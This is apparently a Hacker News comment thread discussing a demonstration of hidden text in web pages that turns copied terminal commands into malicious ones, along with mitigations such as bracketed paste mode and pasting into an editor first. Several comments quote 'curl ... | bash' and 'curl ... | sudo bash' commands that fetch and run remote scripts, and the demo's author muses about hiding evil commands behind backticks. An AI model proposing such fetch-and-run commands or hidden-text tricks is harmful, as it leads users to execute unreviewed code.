  Yeah -- I mean, it would be easy enough for browsers to not include text marked as display:none or visibility:hidden. But there are so many other tricks to hiding text -- margin-left:-10000px, font-size:0, color:white, and so on, that there's really no way to avoid this. So I can't even imagine how a browser extention would 'fix' this -- no matter how clever it tried to be, there would almost always be some way around it.
  - gmaslov 14y ago
    OCR would work ;-)
    - LukeShu 14y ago
      So, I know that was a joke, but now I'm trying to figure out why it's a bad idea. The browser can generate some kind of map for which region of the screen is what font. If you don't have to guess the font, OCR should be easy and reliable. That takes care of the hidden text issue. But second, it means one would be able to copy/paste text that is in an image (because some web designers hate you).
      - jiggy2011 14y ago
        But you don't select text by selecting an area technically, you select a sequence of characters. You could do a per character visibility test at the time of copying, but sometimes you want to copy test that is not currently visible on your screen. For example doing Ctrl+A in a document.

cmsj 14y ago

Out of interest, does anyone know of a Mac utility which will intercept the default paste shortcut and pop up a confirmation of what is going to be pasted, with a really quick interface to the previous few items that were copied to the clipboard?

tres 14y ago
Jumpcut is fairly close to what you're asking for. I guess you could map command + v to Jumpcut & override default paste functionality. Personally I prefer to use option + v. http://jumpcut.sourceforge.net http://jumpcut.sourceforge.net.

NelsonMinar 14y ago

Why would I bother copying and pasting the code to my clipboard when common industry practice now is just to invoke the output of curl directly? ruby -e "$(curl -fsSL https://raw.github.com/mxcl/homebrew/go https://raw.github.com/mxcl/homebrew/go)

somesay 14y ago
You are trusting some third-party everytime you download a proprietary or just big open-source app. Even on Open Source, you just have trust in the public review. In that example you can read the source before, the chances of an evil change just when loading it with your terminal is quite limited, MITM doesn't work that well on SSL, too.
rytis 14y ago
Really sad, especially when something like Chef-client is also installed in a similar fashion [0], one would expect these guys to know better: sudo true && curl -L https://www.opscode.com/chef/install.sh | sudo bash [0] http://wiki.opscode.com/display/chef/Installing+Omnibus+Chef+Client+on+Linux+and+Mac http://wiki.opscode.com/display/chef/Installing+Omnibus+Chef...
- FooBarWidget 14y ago
  Know better... in order to do what? They also provide an APT repository, which you can choose to use instead of the curl command. The curl command exists solely for convenience, because it autodetects your OS, distro version, and automatically registers the right APT repository for you if you're on Debian. As I've mentioned here (https://news.ycombinator.com/item?id=5508680 https://news.ycombinator.com/item?id=5508680), people often freak out at curl commands, yet at the same time I've yet to see a viable proposal for an alternative.
  - mscarborough 14y ago
    Well, the downloaded bash script does all that, and a user is always free to leave the last piping-into-bash command off. They can review it first, and then run as sudo (or whoever) if it passes muster. It's not that much different, so I don't understand the huge problem. Most likely if tutorial writers added a second step, the user would just copypasta the second step also. Thankfully I followed this procedure after a co-worker sent me this: `curl -L http://bit.ly/10hA8iC http://bit.ly/10hA8iC | bash` ... was able to turn my speakers down first ;)

deleted 14y ago

[deleted]

kyllo 14y ago

Yes, but not just that. It's also important to make an effort to understand what commands you are typing into your shell before typing them (Google them first if you don't know).

gyepi 14y ago

FWIW, I use shell mode in emacs most of the time and it happily accepts, and buffers, multiline commands until you hit enter, unlike the terminal.

Tyr42 14y ago

Actually, since I tried to copy it by triple clicking, which selects one line (at least, I expect it to. It's what sublime text does). That didn't copy any of the malicious text, and it just stopped between the clone and the url.

TheJH_ 14y ago
I feared someone would do that. :D Well, it'd be easy to work around this if you have JS enabled... without it, it would probably not be so easy to trick you into copying multiple lines.
- lmm 14y ago
  Even normal selection "stuck" funnily; I could tell there was something between the clone and the rest of it. Again, possible to mitigate I'm sure.

vxNsr 14y ago

This doesn't seem like such a big deal You have one of two ways to combat this: 1) always copy things to notepad first so whatever it is that you copied you can verify is what you meant to copy 2) Use the inspection tool of your browser to copy it from source where things can't really be hidden. I usually do #1 anyway because of weird formatting and characters

jayferd 14y ago

I mean, untarring a downloaded tarball from somewhere and running `make` is just as dangerous, right? Only there you can make sure the checksum matches, but people skip that step all the time.

deno 14y ago
Matches against what? If the website is compromised the checksum can be compromised as well. If the tarball is not pgp signed by the author (e.g. Bazaar and Tor Project do that), checking the checksum is basically checking if the server you’re downloading from didn’t have any silent data corruption (see recent KDE hosting incident), because in transit TCP does its own checksumming anyway.
ProblemFactory 14y ago
Running code that you don't trust is a bad idea. But the point of the article is: * When copying from the web, what you see on the page might not be what ends up in your clipboard, * When pasting into a terminal, any text with endlines will execute immediately. As a result, just pasting anything from the web into a terminal window might execute arbitrary code, without any further action on your part.
runn1ng 14y ago
You should basically compile everything yourself and read all the source code yourself if you want to be secure. Good luck with that though. (Escpecially with things like, I don't know, browsers.)
- jayferd 14y ago
  My point exactly. No one is ever actually going to read all the code, so you have to start your trust somewhere. Especially if you're going to type `sudo make install` at the end (which is why I advocate things like ~/.local to prevent the need for that, but I digress).
vacri 14y ago
Have you never seen a third-party How To?

miles 14y ago

Lynx user not affected: http://tinyapps.org/lynx_not_affected.png http://tinyapps.org/lynx_not_affected.png

Thrall 14y ago
I noticed this too. Sometimes the simple solutions are the best (compare with the long thread of suggested solutions further down this page). It's like a master-criminal's subtle and sophisticated plan being foiled by a simpleton because it assumed that the victims would be able to read.

networked 14y ago

Perhaps the real problem here is that, as noted by Ted Nelson back when the concept started to gain popularity, "[the computer clipboard is] just like a regular clipboard, except (a) you can't see it, (b) it holds only one object, (c) whatever you put there destroys the previous contents." The presented vulnerability hinges on (a), and, Glipper [1] notwithstanding, (a)-(c) is still the default behavior in every GUI I use. [1] https://launchpad.net/glipper https://launchpad.net/glipper

SoftwareMaven 14y ago
Because of b and c, I would go nuts trying to use a text editor that didn't support an emacs-like "clipboard"[1] ring. I'm constantly dumping stuff in and pulling it out in arbitrary order. It is nice to have a solution to a in the process, too. 1. Yes, I know it is a kill ring in emacs.

Achshar 14y ago

Select the text and right click to copy. The trick is over when the "search google for 'malicious text' comes up instead of the command in chrome.

TheJH_ 14y ago
Right... for a real attack, you'd have to hide the evil commands near the end of the normal-looking one (the string you see there is truncated). I thought about doing that, but it'd give you a few seconds to react in this example because you'd have the git command run first. Hmm, maybe it'd be doable using backticks or so? Those could be put at the end and would evaluate first anyway...

vishnumenon 14y ago

I was just thinking it might be cool to have a service that site owners could include via JS that would ensure that the content in a div is the content seen by the user. It could have a little stamp that says "Verified by SuchAndSuch" in the corner of the div. Should I try to make this? Any obvious issues? Is it worth it?

fidz 14y ago

In bitbucket, you could simply copy paste clone command in the text field. Isn't text field is far more safe since there should no hidden element?

guntursaptap 14y ago

I agree with don't copy paste. because i hate with copy paste

tubbo 14y ago

That's really cool. :)

anarchotroll 14y ago

Copying with pentadactyl using Y shows exactly what has been copied on the status line at the bottom of the screen.

keekdown 14y ago

Hmmm...I just hasn’t been thinking about such things

pnathan 14y ago

Well done, sir. Thanks for bringing this up.

jeromeparadis 14y ago

That's why I always paste to my text editor and copy from there before pasting anything from a Web page.

seldo 14y ago

Or possibly "don't follow instructions from people you don't trust", regardless of what they tell you to do.

cirwin 14y ago

Good terminal emulators (xterm, urxvt, iTerm2, etc.) have support for "bracketed paste mode" which can be used to fix this problem in zsh: https://github.com/robbyrussell/oh-my-zsh/pull/1698 https://github.com/robbyrussell/oh-my-zsh/pull/1698 (original code: http://www.zsh.org/mla/users/2011/msg00367.html http://www.zsh.org/mla/users/2011/msg00367.html) It's probably easy to write a similar fix for bash.

TheJH_ 14y ago
I initially thought it'd work, but actually, this protection can be circumvented. See the updated version of http://thejh.net/misc/website-terminal-copy-paste http://thejh.net/misc/website-terminal-copy-paste.

chickopozo 14y ago

How is this news? Its been done so many times I've lost count.

deleted 14y ago

[deleted]

munimkazia 14y ago

Did it stop working for anyone the second time? I tried it once, and it worked (gave me the warning and first line of my /etc/passwd file). I wanted to show it to a coworker but it mysteriously stopped working. It is just copying the displayed text now. Kinda weird.. Using Google Chrome 26.0.1410.43 on ubuntu 12.10 64bit.

ck2 14y ago

Can browsers fix this behavior? It seems like a security hole for many reasons. The default should be to copy plain text as highlighted, and advanced right click for html based copying.

radioxid 14y ago

I always paste my things inside Chrome's Omnibar. It trims surrounding spaces and associated style.

umarrana 14y ago

shit you almost killed me

jpswade 14y ago

Unless it's from a trusted source...

Thrall 14y ago

There is a subtle hint that all is not well if you try to select the code using triple-click: it will only select one half at a time, suggesting it is not the one-liner it appears to be...

tete 14y ago
Problem is that this is frequently the case, because of stuff like syntax highlighting.

melicerte 14y ago

what I usually do before pasting insecure clipboard content to a terminal is that I start with a double quotes character " Once I see the real output, I just have to remove the quotes (<ctrl-a> <del><return>)

Justsignedup 14y ago

ok, honestly, where is the ability to disable clipboard manipulation or similar techniques? Browsers need to do this. I have NEVER seen value if a website's ability to modify my clipboard.

ricket 14y ago
That's a different issue from the one here, actually. View the source. No JS in the page at all; just an invisible span in the middle of the code to be copy-pasted.

deleted 14y ago

[deleted]